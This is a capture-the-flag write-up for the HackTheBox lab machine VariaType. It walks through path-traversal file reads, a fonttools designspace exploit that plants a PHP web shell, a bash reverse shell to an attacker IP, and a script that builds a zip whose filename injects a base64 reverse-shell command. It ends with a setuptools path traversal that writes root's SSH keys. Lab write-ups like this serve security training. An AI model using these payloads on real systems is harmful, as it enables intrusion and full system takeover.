> For the complete documentation index, see [llms.txt](https://eth3real.gitbook.io/eth3real/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eth3real.gitbook.io/eth3real/documentation/platforms/hackthebox/labs/medium/variatype.md).

# VariaType

VariaType is a Medium Linux HackTheBox Machine

## Reconnaissance

### Port scan

```bash
rustscan -a 10.129.8.73 -b 1000 -t 5000 -- -A -sCV 
```

<pre class="language-bash"><code class="lang-bash">PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:                                                                         
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGaryOd6/hnIT9XPtT08U3YwVShW2VnKYno4lQqs0BQ6ePwGDjLxPcQHcEiiKWd0/mvv39jxHUQAgt069vYV8ag=
|   256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILtP5zMi+IdeNc7bOdDPDwFv+HWDAUakOFYbEIvNSp2z
80/tcp open  http    syn-ack nginx 1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://<a data-footnote-ref href="#user-content-fn-1">variatype.htb</a>/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre>

Just two standard ports are open

Lets start by visiting the site on port 80 , looking at the site content we can see a clear mention of using **'same engine as FONTTOOLS'**

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FvjNZnnHkcX20poajFUNU%2Fimage.png?alt=media&amp;token=5009e3bd-ed01-4925-a266-59592f2a5677" alt=""><figcaption></figcaption></figure>

while we look more into the site lets check for subdomains too

### Subdomain Enumeration

```bash
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \                                                                                               
-u http://variatype.htb \                                                                                                                                                     
-H "Host: FUZZ.variatype.htb" \                                                                                                                                               
-mc 200,301,302,403 -t 100 -fs 169
```

<pre class="language-bash"><code class="lang-bash">                                                                                                                                                                              
        /'___\  /'___\           /'___\                                                                                                                                       
       /\ \__/ /\ \__/  __  __  /\ \__/                                                                                                                                       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\                                                                                                                                      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/                                                                                                                                      
         \ \_\   \ \_\  \ \____/  \ \_\                                                                                                                                       
          \/_/    \/_/   \/___/    \/_/                                                                                                                                       
                                                                                                                                                                              
       v2.1.0-dev                                                                                                                                                             
________________________________________________                                                                                                                              
                                                                                                                                                                              
 :: Method           : GET                                                                                                                                                    
 :: URL              : http://variatype.htb                                                                                                                                   
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt                                                                                
 :: Header           : Host: FUZZ.variatype.htb                                                                                                                               
 :: Follow redirects : false                                                                                                                                                  
 :: Calibration      : false                                                                                                                                                  
 :: Timeout          : 10                                                                                                                                                     
 :: Threads          : 100                                                                                                                                                    
 :: Matcher          : Response status: 200,301,302,403
 :: Filter           : Response size: 169
________________________________________________

<a data-footnote-ref href="#user-content-fn-2">portal</a>                  [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 152ms]
:: Progress: [4989/4989] :: Job [1/1] :: 657 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

</code></pre>

Checking the subdomain we see a login page lets see what else we can find&#x20;

So I ran dirsearch on `http://variatype.htb` and `http://portal.variatype.htb`&#x20;

### Hidden Directories

Though I did not found anything interesting on the main site we see some interesting stuff on the subdomain.

```bash
dirsearch -u http://portal.variatype.htb/
```

```bash
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/Eth3real/htb/labs/VariaType/reports/http_portal.variatype.htb/__26-03-15_00-31-52.txt

Target: http://portal.variatype.htb/

[00:31:52] Starting: 
[00:31:57] 301 -  169B  - /.git  ->  http://portal.variatype.htb/.git/
[00:31:57] 403 -  555B  - /.git/branches/
[00:31:57] 200 -   39B  - /.git/COMMIT_EDITMSG
[00:31:57] 403 -  555B  - /.git/
[00:31:57] 200 -  143B  - /.git/config
[00:31:57] 200 -   73B  - /.git/description
[00:31:57] 200 -   23B  - /.git/HEAD
[00:31:57] 403 -  555B  - /.git/hooks/
[00:31:57] 200 -  137B  - /.git/index
[00:31:57] 200 -  240B  - /.git/info/exclude
[00:31:57] 403 -  555B  - /.git/info/
[00:31:57] 403 -  555B  - /.git/logs/
[00:31:57] 200 -  700B  - /.git/logs/HEAD
[00:31:57] 301 -  169B  - /.git/logs/refs  ->  http://portal.variatype.htb/.git/logs/refs/
[00:31:57] 301 -  169B  - /.git/logs/refs/heads  ->  http://portal.variatype.htb/.git/logs/refs/heads/
[00:31:57] 200 -  700B  - /.git/logs/refs/heads/master
[00:31:57] 403 -  555B  - /.git/objects/
[00:31:57] 403 -  555B  - /.git/refs/
[00:31:57] 301 -  169B  - /.git/refs/heads  ->  http://portal.variatype.htb/.git/refs/heads/
[00:31:57] 200 -   41B  - /.git/refs/heads/master
[00:31:57] 301 -  169B  - /.git/refs/tags  ->  http://portal.variatype.htb/.git/refs/tags/
[00:32:24] 200 -    0B  - /auth.php
[00:32:36] 302 -    0B  - /dashboard.php  ->  /
[00:32:38] 302 -    0B  - /download.php  ->  /
[00:32:42] 301 -  169B  - /files  ->  http://portal.variatype.htb/files/
[00:32:42] 403 -  555B  - /files/
[00:33:31] 302 -    0B  - /view.php  ->  /

Task Completed

```

Ohh Nice `.git` means lets jump into git-dumper

### Dumping .git

```bash
git-dumper http://portal.variatype.htb ./git-dump
```

```bash
---
[-] Finding packs                                                                                 
[-] Finding objects                                                                               
[-] Fetching objects                                                                              
[-] Fetching http://portal.variatype.htb/.git/objects/75/3b5f5957f2020480a19bf29a0ebc80267a4a3d [200]                                                                                               
[-] Fetching http://portal.variatype.htb/.git/objects/6f/021da6be7086f2595befaa025a83d1de99478b [200]                                                                                               
[-] Fetching http://portal.variatype.htb/.git/objects/50/30e791b764cb2a50fcb3e2279fea9737444870 [200]                                                                                               
[-] Fetching http://portal.variatype.htb/.git/objects/61/5e621dce970c2c1c16d2a1e26c12658e3669b3 [200]                                                                                               
[-] Fetching http://portal.variatype.htb/.git/objects/00/00000000000000000000000000000000000000 [404]                                                                                               
[-] http://portal.variatype.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404                                                                               
[-] Fetching http://portal.variatype.htb/.git/objects/c6/ea13ef05d96cf3f35f62f87df24ade29d1d6b4 [200]                                                                                               
[-] Fetching http://portal.variatype.htb/.git/objects/03/0e929d424a937e9bd079794a7e1aaf366bcfaf [200]                                                                                               
[-] Fetching http://portal.variatype.htb/.git/objects/b3/28305f0e85c2b97a7e2a94978ae20f16db75e8 [200]                                                                                               
[-] Running git checkout .                                                                        
---
```

Going into the .git directory and checking the logs&#x20;

```bash
git log -p
```

<pre class="language-bash"><code class="lang-bash">commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)                                                                                                                                                                
Author: Dev Team &#x3C;dev@variatype.htb>                                                                                                                                                                                            
Date:   Fri Dec 5 15:59:33 2025 -0500                                                                                                                                                                                           
                                                                                                                                                                                                                                
    fix: add gitbot user for automated validation pipeline                                                                                                                                                                      
                                                                                                                                                                                                                                
diff --git a/auth.php b/auth.php                                                                                                                                                                                                
index 615e621..b328305 100644                                                                                                                                                                                                   
--- a/auth.php                                                                                                                                                                                                                  
+++ b/auth.php                                                                                                                                                                                                                  
@@ -1,3 +1,5 @@                                                                                                                                                                                                                 
 &#x3C;?php                                                                                                                                                                                                                          
 session_start();                                                                                                                                                                                                               
-$USERS = [];                                                                                                                                                                                                                   
+$USERS = [                                                                                                                                                                                                                     
+    '<a data-footnote-ref href="#user-content-fn-3">gitbot</a>' => '<a data-footnote-ref href="#user-content-fn-4">G1tB0t_Acc3ss_2025!</a>'                                                                                                                                                                                          
+];                                                                                                                                                                                                                             
                                                                                                                                                                                                                                
commit 5030e791b764cb2a50fcb3e2279fea9737444870                                                                                                                                                                                 
Author: Dev Team &#x3C;dev@variatype.htb>                                                                                                                                                                                            
Date:   Fri Dec 5 15:57:57 2025 -0500                                                                                                                                                                                           
                                                                                                                                                                                                                                
    feat: initial portal implementation                                                                                                                                                                                         
                                                                                                                                                                                                                                
diff --git a/auth.php b/auth.php                                                                                                                                                                                                
new file mode 100644                                                                                                                                                                                                            
index 0000000..615e621                                                                                                                                                                                                          
--- /dev/null                                                                                                                                                                                                                   
+++ b/auth.php                                                                                                                                                                                                                  
@@ -0,0 +1,3 @@                                                                                                                                                                                                                 
+&#x3C;?php                                                                                                                                                                                                                          
+session_start();                                                                                                                                                                                                               
+$USERS = [];  
</code></pre>

Lets goo we go we get some creds lets see if can login in with this creds.

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FgeoGfexZ5NrwWfGNLGHh%2Fimage.png?alt=media&amp;token=78361876-3f56-4a40-8741-4a37c43563ac" alt=""><figcaption></figcaption></figure>

So we are successfully logged in hmm so we can see the uploaded content here.

lets get back to the main site and think what we can do now , yoo we earlier saw fonttools lets search for exploits if any available&#x20;

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2F3X0Z5ogkS3Lb9nkxPDAY%2Fimage.png?alt=media&amp;token=97fca6f1-87a2-4589-b24d-999bdb565911" alt=""><figcaption></figcaption></figure>

Simply searching with keyword exploit we get **CVE-2025-66034** and it also talks about crafting .designspace file which we can upload on the site , seems like it is what we are looking for.

{% embed url="<https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv>" %}

hmm but where to upload because we don't know the path , but we know the server is running on nginx and we know the path of default config file where we can look for the webroot path

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FZ5WpmAiJe0uWy0MbIFyB%2Fimage.png?alt=media&amp;token=7ecdc36c-df26-45de-8fbe-a8271759cc41" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FM75gP24Cpcxkl4I0ymXD%2Fimage.png?alt=media&amp;token=d9d612c7-7aeb-4dbe-90ee-fcc868862d40" alt=""><figcaption></figcaption></figure>

exploring the portal more we can see `view.php` and `download.php` has `f` as a file parameter \
we can use this for LFI and read the nginx config file&#x20;

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FQyBdRLm75NR8I130J6C3%2Fimage.png?alt=media&amp;token=d443a4a3-8345-4d0b-a12e-12f0ca7a3f26" alt=""><figcaption></figcaption></figure>

using the simple bypass techinque we can read the `/etc/passwd` on `download.php` though I was not able to do the same with `view.php` ( maybe I did not tired enough )

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2F4j22PMf2q8hVL9VAJ6L3%2Fimage.png?alt=media&amp;token=e8d6e71f-2345-4a26-96c3-3e20dac6314e" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
curl 'http://portal.variatype.htb/download.php?f=....//....//....//....//....//....//....//....//....///etc/nginx/nginx.conf' -H 'Cookie: PHPSESSID=8u7soj0gb3g1bepj54vpgdj3fi'
```

{% endcode %}

<pre class="language-bash"><code class="lang-bash">user www-data;
worker_processes auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
        # multi_accept on;
}

http {

        ##
        # Basic Settings
        ##

        sendfile on;
        tcp_nopush on;
        types_hash_max_size 2048;
        # server_tokens off;

        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        ##
        # SSL Settings
        ##

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
        ssl_prefer_server_ciphers on;

        ##
        # Logging Settings
        ##

        access_log /var/log/nginx/access.log;

        ##
        # Gzip Settings
        ##

        gzip on;

        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

        ##
        # Virtual Host Configs
        ##

        include /etc/nginx/conf.d/*.conf;
        include <a data-footnote-ref href="#user-content-fn-5">/etc/nginx/sites-enabled/variatype.htb</a>;
        include <a data-footnote-ref href="#user-content-fn-6">/etc/nginx/sites-enabled/portal.variatype.htb</a>;
}


#mail {
#       # See sample authentication script at:
#       # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
#       # auth_http localhost/auth.php;
#       # pop3_capabilities "TOP" "USER";
#       # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
#       server {
#               listen     localhost:110;
#               protocol   pop3;
#               proxy      on;
#       }
#
#       server {
#               listen     localhost:143;
#               protocol   imap;
#               proxy      on;
#       }
#}

</code></pre>

we can use this two path to check futher&#x20;

<pre><code>include <a data-footnote-ref href="#user-content-fn-5">/etc/nginx/sites-enabled/variatype.htb</a>;
include <a data-footnote-ref href="#user-content-fn-6">/etc/nginx/sites-enabled/portal.variatype.htb</a>;
</code></pre>

{% code overflow="wrap" %}

```bash
┌──(Eth3real㉿DΣDSEC)-[~/htb/labs/VariaType]
└─$ curl 'http://portal.variatype.htb/download.php?f=....//....//....//....//....//....//....//....//....///etc/nginx/sites-enabled/variatype.htb' -H 'Cookie: PHPSESSID=8u7soj0gb3g1bepj54vpgdj3fi'
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    server_name _; 

    return 301 http://variatype.htb$request_uri;
}

server {
    listen 80;
    server_name variatype.htb;

    access_log /var/log/nginx/variatype_access.log;
    error_log /var/log/nginx/variatype_error.log;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

}                                                                                                                                                     
```

{% endcode %}

uhh no root defined ? lets check the next path&#x20;

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">┌──(Eth3real㉿DΣDSEC)-[~/htb/labs/VariaType]
└─$ curl 'http://portal.variatype.htb/download.php?f=....//....//....//....//....//....//....//....//....///etc/nginx/sites-enabled/portal.variatype.htb' -H 'Cookie: PHPSESSID=8u7soj0gb3g1bepj54vpgdj3fi'
server {
    listen 80;
    server_name portal.variatype.htb;

    root <a data-footnote-ref href="#user-content-fn-7">/var/www/portal.variatype.htb/public</a>;
    index index.php;

    access_log /var/log/nginx/portal_access.log;
    error_log /var/log/nginx/portal_error.log;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }

    location /files/ {
        autoindex off;
    }
}
</code></pre>

now were are completed with recon

## Exploitation

`exploit.designspace`

{% code overflow="wrap" %}

```xml
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php echo shell_exec($_GET['cmd']); ?>]]]]><![CDATA[>]]></labelname>
    </axis>
  </axes>
  <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>

  <variable-fonts>
    <variable-font name="MyFont" filename="../../../../../../../../var/www/portal.variatype.htb/public/shell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>

  <instances>
    <instance name="Display Thin" familyname="MyFont" stylename="Thin">
      <location><dimension name="Weight" xvalue="100"/></location>
      <labelname xml:lang="en">Display Thin</labelname>
    </instance>
  </instances>
</designspace>
```

{% endcode %}

also we need source\*.tff files for that we can use the script(setup.py) provided to generate them

{% code overflow="wrap" %}

```python
#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
    
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)
```

{% endcode %}

Once exploit.designspace and both .tff files are uploaded we can get the reverse shell&#x20;

Payload I used : `http://portal.variatype.htb/shell.php?cmd=bash%20%2Dc%20%27sh%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E15%2E210%2F4444%200%3E%261%27`

## Privilege Escalation

### www-data ---> steve

Exploring the shell we found a `process_client_submissions.bak` file owned by steve

{% code overflow="wrap" %}

```bash
www-data@variatype:/opt$ cat process_client_submissions.bak 
```

{% endcode %}

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez &#x3C;steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import <a data-footnote-ref href="#user-content-fn-8">fontforge</a>
import sys
try:
    <a data-footnote-ref href="#user-content-fn-9">font = fontforge.open('$file')</a>
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi
</code></pre>

Searching for **fontforge file open vulnerability** got this amazing blog.

{% embed url="<https://www.canva.dev/blog/engineering/fonts-are-still-a-helvetica-of-a-problem/>" %}

so basically we can upload a zip file and the service unzips the file in PATH=/var/www/portal.variatype.htb/public/files and after file is unzipped it directly tried to open the file in it , this lead to the command injection vulnerability ( **CVE-2024-25081** )

script I used to generate the zip file

{% code overflow="wrap" %}

```python
# Run this to generate the zip file
import zipfile
import base64

ip = "<ip>"
port = "<port>"

payload = f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'"

b64_payload = base64.b64encode(payload.encode()).decode()

malicious_filename = f"`echo {b64_payload} | base64 -d | bash`.sfd"

zip_name = "exploit.zip"

with zipfile.ZipFile(zip_name, 'w') as zf:
    zf.writestr(malicious_filename, "")

print(f"[+] Successfully generated {zip_name}")
print(f"[+] Malicious inner filename: {malicious_filename}")
```

{% endcode %}

once the zip file is uploaded start the rev shell and wait for some time we will get the steve shell

### steve ---> root

so now we have steve shell lets check sudo -l

{% code overflow="wrap" %}

```bash
sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
```

{% endcode %}

{% code overflow="wrap" %}

```bash
cat install_validator.py
```

{% endcode %}

<pre class="language-python" data-overflow="wrap"><code class="lang-python">#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from <a data-footnote-ref href="#user-content-fn-10">setuptools.package_index</a> import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py &#x3C;PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

</code></pre>

Searching about it I found this blog with **CVE-2025-47273**

{% embed url="<https://security.snyk.io/vuln/SNYK-PYTHON-SETUPTOOLS-9964606>" %}

so&#x20;

Below are the complete steps to get root shell :

create ssh keys

{% code overflow="wrap" %}

```zsh
┌──(root㉿DEDSEC)-[~/.ssh]
└─# ssh-keygen -t ed25519 -C "your_email@example.com"

Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519): 
Enter passphrase for "/root/.ssh/id_ed25519" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_ed25519
Your public key has been saved in /root/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:zq6b7nzuDUZ9N1tljtwPiBEPoBRLaHD1XcZ3vEMWhpc your_email@example.com
The key's randomart image is:
+--[ED25519 256]--+
|  ...o=...o.o .+o|
|   .oo + . *..oEo|
|   .  o . o ..+.+|
|         . o o B.|
|        S o o * =|
|       +   . . =.|
|        =     . .|
|     . +.o       |
|     oB*+ .      |
+----[SHA256]-----+            
```

{% endcode %}

rename it to authorized\_keys

{% code overflow="wrap" %}

```bash
┌──(root㉿DEDSEC)-[~/.ssh]
└─# ls
id_ed25519  id_ed25519.pub
                                                                                                                                                                              
┌──(root㉿DEDSEC)-[~/.ssh]
└─# mv id_ed25519.pub authorized_keys  
```

{% endcode %}

send the file to target machine

{% code overflow="wrap" %}

```bash
┌──(root㉿DEDSEC)-[/]
└─# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.6.255 - - [19/Mar/2026 12:27:26] "GET /%2froot%2f.ssh%2fauthorized_keys HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
```

{% endcode %}

{% code overflow="wrap" %}

```bash
steve@variatype:/opt/font-tools$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py http://10.10.15.210:8000/%2froot%2f.ssh%2fauthorized_keys
2026-03-19 12:27:25,193 [INFO] Attempting to install plugin from: http://10.10.15.210:8000/%2froot%2f.ssh%2fauthorized_keys
2026-03-19 12:27:25,210 [INFO] Downloading http://10.10.15.210:8000/%2froot%2f.ssh%2fauthorized_keys
2026-03-19 12:27:26,059 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.
```

{% endcode %}

{% code overflow="wrap" %}

```bash
┌──(root㉿DEDSEC)-[~/.ssh]
└─# ssh -i id_ed25519 root@10.129.6.255              
The authenticity of host '10.129.6.255 (10.129.6.255)' can't be established.
ED25519 key fingerprint is: SHA256:0Wqe+nNeYlUwY+F669ywmS9kPUMYXqJh5xxCxwyCapI
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.6.255' (ED25519) to the list of known hosts.
Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 19 12:27:52 2026 from 10.10.15.210
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)
root@variatype:~# 

```

{% endcode %}

Great machine!.

[^1]: add this to our /etc/hosts

[^2]: we found 'portal' as the subdomain\
    so we need to add portal.variatype.htb in /etc/hosts

[^3]: username

[^4]: password

[^5]: we got 1st path

[^6]: we got 2nd path

[^7]: path where uploaded files get stored

[^8]: need to research

[^9]: opening the file directly and no sanitization ??

[^10]: unknow library seems sus
